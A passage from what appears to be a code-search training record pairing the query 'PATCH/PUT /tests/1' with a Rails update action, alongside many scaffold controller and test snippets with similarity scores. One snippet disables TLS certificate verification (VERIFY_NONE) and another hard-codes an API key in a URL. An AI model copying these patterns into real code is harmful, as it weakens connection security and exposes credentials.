"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n render status: :ok, json: @tests\n end",
"def create\n @test = Test.new(params[:test])\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render json: @test, status: :created, location: @test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_index \n post :index \n assert_response :success \n end",
"def create\n @testtest = Testtest.new(testtest_params)\n\n respond_to do |format|\n if @testtest.save\n format.html { redirect_to @testtest, notice: 'Testtest was successfully created.' }\n format.json { render :show, status: :created, location: @testtest }\n else\n format.html { render :new }\n format.json { render json: @testtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = current_user.tests.build(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to thank_you_path, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n result = Test.new.create_test(test_params)\n if result\n return render json: {message: 'Test was created succesfully', error: false }\n else\n return render json: {message: 'Error: Test was not created succesfully', error: true }\n end\n end",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def create\n @jsontest = Jsontest.new(jsontest_params)\n\n respond_to do |format|\n if @jsontest.save\n format.html { redirect_to @jsontest, notice: 'Jsontest was successfully created.' }\n format.json { render :show, status: :created, location: @jsontest }\n else\n format.html { render :new }\n format.json { render json: @jsontest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testcase = Testcase.new(params[:testcase])\n\n respond_to do |format|\n if @testcase.save\n format.html { redirect_to @testcase, :notice => 'Test was successfully created.' }\n format.json { render :json => @testcase, :status => :created, :location => @test }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @testcase.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end",
"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Prueba creada exitosamente.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_link_via_API_JSON\r\n get \"/logout\"\r\n post \"/links.json\", :api_key => 'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n link = JSON.parse(response.body)\r\n check_new_link(link) \r\n end",
"def create\n @test_post = TestPost.new(test_post_params)\n\n respond_to do |format|\n if @test_post.save\n format.html { redirect_to @test_post, notice: 'Test post was successfully created.' }\n format.json { render :show, status: :created, location: @test_post }\n else\n format.html { render :new }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_invite_via_API_JSON\r\n get \"/logout\"\r\n post \"/invites.json\", :api_key => 'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response :created\r\n invite = JSON.parse(response.body)\r\n check_new_invite(invite) \r\n end",
"def create\n @test_post = TestPost.new(params[:test_post])\n\n respond_to do |format|\n if @test_post.save\n format.html { redirect_to @test_post, notice: 'Test post was successfully created.' }\n format.json { render json: @test_post, status: :created, location: @test_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_test = UserTest.new(user_test_params)\n\n respond_to do |format|\n if @user_test.save\n format.html { redirect_to admin_user_tests_path, notice: 'User test was successfully created.' }\n format.json { render :show, status: :created, location: @user_test }\n else\n format.html { render :new }\n format.json { render json: @user_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_story_create\n # skip\n story = Story.create(name: \"rando story name\")\n response = get \"/storyname\"\n json = JSON.parse(response.body)\n assert_equal story.name, json.last[\"name\"]\n # binding.pry\n end",
"def test_the_application_can_create_an_item\n # Send a POST request to '/items' endpoint that creates a new item\n # with a title of 'Learn to test controllers' and a description 'This is great'\n # Assert that the controller responds with a status of 200\n # Assert that the controller responds with a body of 'Item created'\n # Assert that the ToDo table has an item in it\n end",
"def create\n @test_detail = TestDetail.new(test_detail_params)\n\n respond_to do |format|\n if @test_detail.save\n format.html { redirect_to @test_detail, notice: 'Test detail was successfully created.' }\n format.json { render :show, status: :created, location: @test_detail }\n else\n format.html { render :new }\n format.json { render json: @test_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testmonial = Testmonial.new(testmonial_params)\n\n if @testmonial.save\n render json: @testmonial, status: :created\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"def create_post(params)\n mock_request = Rack::MockRequest.new(APP)\n mock_request.post(new_post_endpoint, { 'router.params' => params, format: :json })\n end",
"def test_create_a_task_with_valid_attributes\n post '/tasks', { task: { title: \"something\", description: \"else\", user_id: 1 } } # post '/tasks', { task: { title: \"something\", description: \"else\", user_id: 1, status_id: 1 } }\n assert_equal 1, Task.count # count is a method that ActiveRecord gives us\n assert_equal 200, last_response.status\n assert_equal \"created!\", last_response.body\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def create\n @testis = Teste.new(params[:testis])\n\n respond_to do |format|\n if @testis.save\n format.html { redirect_to @testis, notice: 'Teste was successfully created.' }\n format.json { render json: @testis, status: :created, location: @testis }\n else\n format.html { render action: \"new\" }\n format.json { render json: @testis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def test_create_transaction\n params = {\n bank_transaction: {\n bank_account_id: 1,\n date: Time.local(2012, 4, 16),\n amount: 55\n }\n }\n\n post '/api/banks/1/transactions', params\n data = ActiveSupport::JSON.decode last_response.body\n\n assert last_response.successful?\n assert_match('application/json', last_response.content_type)\n assert BankTransaction.find(data['id'])\n end",
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def create\n @smoke_test = SmokeTest.new(params[:smoke_test])\n\n respond_to do |format|\n if @smoke_test.save\n format.html { redirect_to(@smoke_test, :notice => 'Smoke test was successfully created.') }\n format.json { render :json => @smoke_test, :status => :created, :location => @smoke_test }\n format.xml { render :xml => @smoke_test, :status => :created, :location => @smoke_test }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @smoke_test.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @smoke_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @runtest = Runtest.new(runtest_params)\n\n respond_to do |format|\n if @runtest.save\n format.html { redirect_to @runtest, notice: 'Runtest was successfully created.' }\n format.json { render :show, status: :created, location: @runtest }\n else\n format.html { render :new }\n format.json { render json: @runtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testing_ = Testing.new(testing__params)\n\n respond_to do |format|\n if @testing_.save\n format.html { redirect_to @testing_, notice: 'Testing was successfully created.' }\n format.json { render action: 'show', status: :created, location: @testing_ }\n else\n format.html { render action: 'new' }\n format.json { render json: @testing_.errors, status: :unprocessable_entity }\n end\n end\n end",
"def run_test\n # Make sure that params have been set\n raise_error('You need to pass some params to run the test. At least, an url or script') unless block_given?\n params = Hashie::Mash.new\n yield params\n raise_error('No params were passed to run_test method') if params.empty?\n\n response = connection.post do |req|\n req.url \"#{TEST_BASE}\"\n req.params['k'] = key\n req.params['f'] = @params.f\n params.each do |k, v|\n req.params[k] = v\n end\n end\n return not_available (response) unless response.status == 200\n @response = Response.new(self, Hashie::Mash.new(JSON.parse(response.body)))\n end",
"def create\n @tktest = Tktest.new(params[:tktest])\n\n respond_to do |format|\n if @tktest.save\n format.html { redirect_to @tktest, notice: 'Tktest was successfully created.' }\n format.json { render json: @tktest, status: :created, location: @tktest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tktest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application_test = ApplicationTest.new(application_test_params)\n\n respond_to do |format|\n if @application_test.save\n format.html { redirect_to @application_test, notice: 'Application test was successfully created.' }\n format.json { render :show, status: :created, location: @application_test }\n else\n format.html { render :new }\n format.json { render json: @application_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testing = Testing.new(testing_params)\n\n respond_to do |format|\n if @testing.save\n format.html { redirect_to @testing, notice: 'Testing was successfully created.' }\n format.json { render :show, status: :created, location: @testing }\n else\n format.html { render :new }\n format.json { render json: @testing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_suite = TestSuite.new(params[:test_suite])\n\n respond_to do |format|\n if @test_suite.save\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully created.' }\n format.json { render json: @test_suite, status: :created, location: @test_suite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test10 = Test10.new(params[:test10])\n\n respond_to do |format|\n if @test10.save\n format.html { redirect_to @test10, notice: 'Test10 was successfully created.' }\n format.json { render json: @test10, status: :created, location: @test10 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test10.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def test_params\n params.require(:test).permit(:index, :new, :create, :show, :update, :delete)\n end",
"def create\n tp = test_params.merge!(plate_id: params[:plate_id])\n @test = Test.new(tp)\n authorize Test\n respond_to do |format|\n if @test.save\n @test.plate.complete!\n @test.auto_retest!\n format.html { redirect_to plate_url(@test.plate), notice: 'Test was successfully created.'}\n format.json { render :show, status: :created, location: test }\n else\n format.html { render :new, status: :unprocessable_entity}\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @type_test = TypeTest.new(type_test_params)\n\n respond_to do |format|\n if @type_test.save\n format.html { redirect_to @type_test, notice: 'Type test was successfully created.' }\n format.json { render :show, status: :created, location: @type_test }\n else\n format.html { render :new }\n format.json { render json: @type_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_suite = TestSuite.new(test_suite_params)\n\n respond_to do |format|\n if @test_suite.save\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully created.' }\n format.json { render :show, status: :created, location: @test_suite }\n else\n format.html { render :new }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fixit_test = FixitTest.new(fixit_test_params)\n\n respond_to do |format|\n if @fixit_test.save\n format.html { redirect_to @fixit_test, notice: 'Fixit test was successfully created.' }\n format.json { render action: 'show', status: :created, location: @fixit_test }\n else\n format.html { render action: 'new' }\n format.json { render json: @fixit_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_test = TestTest.new(params[:test_test])\n\n respond_to do |format|\n if @test_test.save\n format.html { redirect_to(@test_test, :notice => 'TestTest was successfully created.') }\n format.xml { render :xml => @test_test, :status => :created, :location => @test_test }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @test_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @test_run = TestRun.new(params[:test_run])\n\n respond_to do |format|\n if @test_run.save\n format.html { redirect_to @test_run, notice: 'Test run was successfully created.' }\n format.json { render json: @test_run, status: :created, location: @test_run }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_datum = TestDatum.new(test_datum_params)\n\n respond_to do |format|\n if @test_datum.save\n format.html { redirect_to @test_datum, notice: 'Test datum was successfully created.' }\n format.json { render :show, status: :created, location: @test_datum }\n else\n format.html { render :new }\n format.json { render json: @test_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_params\n params.require(:test).permit(:description, :expected_result, :test_link)\n end",
"def test_params\n params.require(:test).permit(:name, :test_type_id, :schedule, :duration, :is_online, :no_of_items, :subject_class_id)\n end",
"def test_params\n params.require(:test).permit(:indentifier, :description, :time)\n end",
"def create\n @what_test = WhatTest.new(what_test_params)\n\n respond_to do |format|\n if @what_test.save\n format.html { redirect_to @what_test, notice: 'What test was successfully created.' }\n format.json { render :show, status: :created, location: @what_test }\n else\n format.html { render :new }\n format.json { render json: @what_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: 'Test app was successfully created.' }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applicant_test = @applicant.applicant_tests.new(applicant_test_params)\n\n respond_to do |format|\n if @applicant_test.save\n format.html { redirect_to applicant_url(@applicant), notice: \"Test Agregado Correctamente.\" }\n format.json { render :show, status: :created, location: applicant_url(@applicant) }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @applicant_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def run_tests\n test_suite = self.task.tests.order(:order)\n testsStrings = test_suite.map do |test|\n test_string = task.fxn_name + \"(\"\n test_string + \"...\"+test.parsed_inputs.to_s + \")\"\n end\n formated_user_code = self.solution.gsub(\"\\n\", \" \")\n data = JSON.dump({user_code: formated_user_code, tests: testsStrings})\n uri = URI.parse(\"https://wci7v1nq8j.execute-api.us-west-2.amazonaws.com/v1\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = data\n response = http.request(request)\n response = JSON.parse(response.body)\n if response[\"errorMessage\"]\n message = response[\"errorMessage\"]\n if message.include?(\"timed out\")\n message = \"Task timed out after 4.00 seconds\"\n end\n return {error: true, error_message: message }\n end\n user_results = response[\"results\"]\n test_results = {log: response[\"log\"].gsub(\"\\n\", \"<br/>\"), results: {} }\n test_suite.each_with_index do |test, idx|\n result = user_results[idx]\n passed = result == test.output\n test_result = {\n passed: passed,\n expected: test.output.to_s,\n received: result.to_s\n }\n test_results[:results][test.order] = test_result\n end\n handle_completion(test_results[:results])\n test_results\n end",
"def create\n @test = Mg::Test.new(params[:test])\n\n if @test.save\n flash[:notice] = 'Test was successfully created.'\n redirect_to mg_test_url :id => @test.id\n else\n render :action => \"new\"\n end\n end",
"def create\n @test1 = Test1.new(test1_params)\n\n respond_to do |format|\n if @test1.save\n format.html { redirect_to @test1, notice: \"Test1 was successfully created.\" }\n format.json { render :show, status: :created, location: @test1 }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @httparty_test = HttpartyTest.new(httparty_test_params)\n\n respond_to do |format|\n if @httparty_test.save\n format.html { redirect_to @httparty_test, notice: 'Httparty test was successfully created.' }\n format.json { render :show, status: :created, location: @httparty_test }\n else\n format.html { render :new }\n format.json { render json: @httparty_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def testing_params\n params.require(:testing).permit(:requiredtests, :name, :customer, :description, :supplier, :supplierrefferenceno, :leadtime, :testdate, :results, :retestdate, :reresults, :cost, :trackingsheet)\n end",
"def create\n @case_test = CaseTest.new(case_test_params)\n\n respond_to do |format|\n if @case_test.save\n format.html { redirect_to @case_test, notice: 'Case test was successfully created.' }\n format.json { render :show, status: :created, location: @case_test }\n else\n format.html { render :new }\n format.json { render json: @case_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end",
"def test\n render json: { message: 'Hello World' }\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: \"Test app was successfully created.\" }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_create_lead\n client.expects(:request).with(:post, 'https://api.com/rest/sites/site-123/leads',\n '{\"email\":\"[email protected]\"}', nil)\n\n client.create_lead(\"site-123\", {email: \"[email protected]\"})\n end",
"def create\n @test_item = TestItem.new(test_item_params)\n\n respond_to do |format|\n if @test_item.save\n format.html { redirect_to @test_item, notice: 'Test item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @test_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @test_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = @subject.tests.new(params[:test])\n if @test.save\n redirect_to user_subject_tests_path\n else\n render :action => \"new\"\n end\n end",
"def testtest_params\n params[:testtest]\n end",
"def test_params\n params.require(:test).permit(:number, :model, :sample_received, :report_received, :inspection_id, :standard_id, :project_id, :comments)\n end",
"def create_test_order(options)\n request :account, :post, 'order/test', options\n end",
"def tests\n CircleCi.request(conf, \"#{base_path}/#{build}/tests\").get\n end",
"def create\n if has_missing_params?([:test_output, :test_run_id])\n # incomplete/invalid HTTP params\n render 'shared/http_status', locals: {code: '422', message:\n HttpStatusHelper::ERROR_CODE['message']['422']}, status: 422\n return\n end\n test_run = TestRun.find(params[:test_run_id])\n begin\n test_run.create_test_script_results_from_json(params[:test_output])\n render 'shared/http_status', locals: {code: '201', message:\n HttpStatusHelper::ERROR_CODE['message']['201']}, status: 201\n rescue\n # Some other error occurred\n render 'shared/http_status', locals: { code: '500', message:\n HttpStatusHelper::ERROR_CODE['message']['500'] }, status: 500\n end\n rescue ActiveRecord::RecordNotFound => e\n # Could not find submission\n render 'shared/http_status', locals: {code: '404', message:\n e}, status: 404\n end",
"def create\n @test_case = TestCase.new(test_case_params)\n\n respond_to do |format|\n if @test_case.save\n TestMailer.admin_new_test_email(@test_case).deliver\n \n format.html { redirect_to @test_case, notice: 'Your test was successfully added.' }\n format.json { render action: 'show', status: :created, location: @test_case }\n else\n format.html { render action: 'new' }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_duplicate_user\n data = { 'email' => '[email protected]', 'password' => 'open1234' }\n post '/users', data.to_json\n assert last_response.status.eql?(400)\n json_data = JSON last_response.body\n assert json_data['errors'].present?\n end",
"def create\n @runscope_test = RunscopeTest.new(runscope_test_params)\n\n respond_to do |format|\n if @runscope_test.save\n format.html { redirect_to @runscope_test, notice: 'Runscope test was successfully created.' }\n format.json { render :show, status: :created, location: @runscope_test }\n else\n format.html { render :new }\n format.json { render json: @runscope_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_stuff = TestStuff.new(test_stuff_params)\n\n respond_to do |format|\n if @test_stuff.save\n format.html { redirect_to @test_stuff, notice: 'Test stuff was successfully created.' }\n format.json { render action: 'show', status: :created, location: @test_stuff }\n else\n format.html { render action: 'new' }\n format.json { render json: @test_stuff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @usertest = Usertest.new(params[:usertest])\n\n respond_to do |format|\n if @usertest.save\n format.html { redirect_to @usertest, notice: 'Usertest was successfully created.' }\n format.json { render json: @usertest, status: :created, location: @usertest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @usertest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_params\n params.require(:test).permit(:name)\n end",
"def test_create_user_unsuccessful\n data = {\n username: \"\",\n password: \"hoangvietanh91\",\n password_confirmation: \"hoangvietanh91\",\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"[email protected]\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n expected = 1001\n resp = Net::HTTP.post_form(URI.parse('http://localhost:3000/v1/users'),data)\n actual = JSON.parse(resp.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def create\n @validation_test = ValidationTest.new(validation_test_params)\n\n respond_to do |format|\n if @validation_test.save\n format.html { redirect_to @validation_test, notice: 'Validation test was successfully created.' }\n format.json { render :show, status: :created, location: @validation_test }\n else\n format.html { render :new }\n format.json { render json: @validation_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \t# add actions here\n # This action takes place in the test suite controller\n end",
"def post_ruby\n \n code = params[:code]\n step = params[:step]\n @step = Step.find(step)\n @valid = 0\n @testCount = @step.code_tests.count\n @step.code_tests.each do |test|\n code = validateCode(code)\n @testcode = code + \"\\n print \" + test.input \n testResult = testResult(@testcode)\n logger.info\"..............................#{testResult}\"\n if testResult.to_s == test.output \n @valid += 1 \n end\n \n \n end\n @message = \"#{@valid} out of #{@testCount} testcases passed\"\n render json: {status: 'SUCCESS', testPass: @valid, testCount: @testCount, message:@message },status: :ok\n end",
"def create\n @student_test = StudentTest.new(params[:student_test])\n\n respond_to do |format|\n if @student_test.save\n format.html { redirect_to @student_test, notice: 'Student test was successfully created.' }\n format.json { render json: @student_test, status: :created, location: @student_test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_params\n params.require(:test).permit(:title, :short, :state)\n end",
"def create\n @testsuite = Testsuite.new(testsuite_params)\n\n respond_to do |format|\n if @testsuite.save\n format.html { redirect_to @testsuite, notice: 'Testsuite was successfully created.' }\n format.json { render :show, status: :created, location: @testsuite }\n else\n format.html { render :new }\n format.json { render json: @testsuite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_submit_signup\n post :submit_signup, { :create_password2 =>\"freddy\", :create_username =>\"fred\", :create_password => \"freddy1\", :create_email =>\"[email protected]\" }\n assert_response :bad_request\n assert_equal \"Passwords do not match\", @response.body\n assert_nil session[:user]\n\n post :submit_signup, { :create_password2 =>\"freddy\", :create_username =>\"fred\", :create_password => \"freddy\", :create_email =>\"[email protected]\" }\n assert_response :success\n assert_equal 'fred', session[:user][:username]\n end",
"def test_should_create_group_invite_via_API_JSON\r\n \r\n end",
"def test_create\n\n admin_session = cathy_admin_session\n # Verify that a platform can be added. The number of platforms will\n # increase by one.\n assert_equal(5, Platform.count)\n\n new_platform = { 'active' => '1', 'name' => 'Thunderbird' }\n\n post(:create, { :new_platform => new_platform }, admin_session)\n assert_equal(6, Platform.count)\n assert_equal(\"Platform #{new_platform['name']} added\", flash['notice'])\n assert_redirected_to(:action => 'list')\n \n # Try to add a second platform with the same name.\n # It should not get added.\n post(:create, { :new_platform => new_platform }, admin_session)\n assert_equal(6, Platform.count)\n #assert_equal(\"Name has already been taken\", flash['notice'])\n assert_redirected_to(:action => 'add')\n\n\n # Try to add a platform withhout a name.\n # It should not get added.\n post(:create, { :new_platform => { 'active' => '1', 'name' => '' } }, admin_session)\n assert_equal(6, Platform.count)\n #assert_equal(\"Name can't be blank\", flash['notice'])\n assert_redirected_to(:action => 'add')\n\n end",
"def new\n @test_suite = TestSuite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_suite }\n end\n end",
"def test_checking_saving_values\n post '/save-values', :value1 => '1', :value2 => '2'\n token_json = JSON.parse(last_response.body)\n assert_not_equal \" \", token_json['id']\n end"
] | [
"0.7214356",
"0.7066029",
"0.70654726",
"0.69897264",
"0.6816136",
"0.65941167",
"0.65495807",
"0.65495807",
"0.65495807",
"0.65495807",
"0.65495807",
"0.65495807",
"0.65109015",
"0.6479572",
"0.6469656",
"0.64529276",
"0.6437642",
"0.64076364",
"0.6396511",
"0.63255227",
"0.63255227",
"0.6282569",
"0.62666476",
"0.625937",
"0.6255637",
"0.6227827",
"0.61960566",
"0.618754",
"0.61546123",
"0.6154023",
"0.6145202",
"0.6068395",
"0.60583436",
"0.60520667",
"0.6048742",
"0.60353065",
"0.6034913",
"0.6022789",
"0.60226554",
"0.60132456",
"0.59997195",
"0.59997195",
"0.5967515",
"0.5966307",
"0.5965837",
"0.5963012",
"0.59617996",
"0.5958156",
"0.5956242",
"0.59492326",
"0.5933228",
"0.5932949",
"0.5926058",
"0.5888413",
"0.5887417",
"0.5884189",
"0.5880063",
"0.58774674",
"0.5876499",
"0.5875222",
"0.5863402",
"0.5849195",
"0.584735",
"0.5833448",
"0.5831871",
"0.5824012",
"0.5822888",
"0.581836",
"0.58162344",
"0.58071244",
"0.5802655",
"0.58019394",
"0.5801579",
"0.5800161",
"0.5793008",
"0.57915246",
"0.57900304",
"0.5788595",
"0.57876825",
"0.57857907",
"0.5783043",
"0.5780175",
"0.5777409",
"0.57749504",
"0.5772087",
"0.5764487",
"0.576173",
"0.5757379",
"0.5739754",
"0.573817",
"0.5736643",
"0.57283586",
"0.5727394",
"0.5724306",
"0.57119864",
"0.57078433",
"0.57008463",
"0.5689239",
"0.56877416",
"0.5686365",
"0.5678506"
] | 0.0 | -1 |
PATCH/PUT /tests/1 PATCH/PUT /tests/1.json | def update
respond_to do |format|
@test.update_question_details(test_params)
if @test.update(test_params)
format.html { redirect_to @test, notice: 'Test was successfully updated.' }
format.json { render :show, status: :ok, location: @test }
else
format.html { render :edit }
format.json { render json: @test.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @test = Test.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:test])\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to root_path, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"[email protected]\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n if @test.update(test_params)\n render status: :ok, json: @test\n else\n self.send(:edit)\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
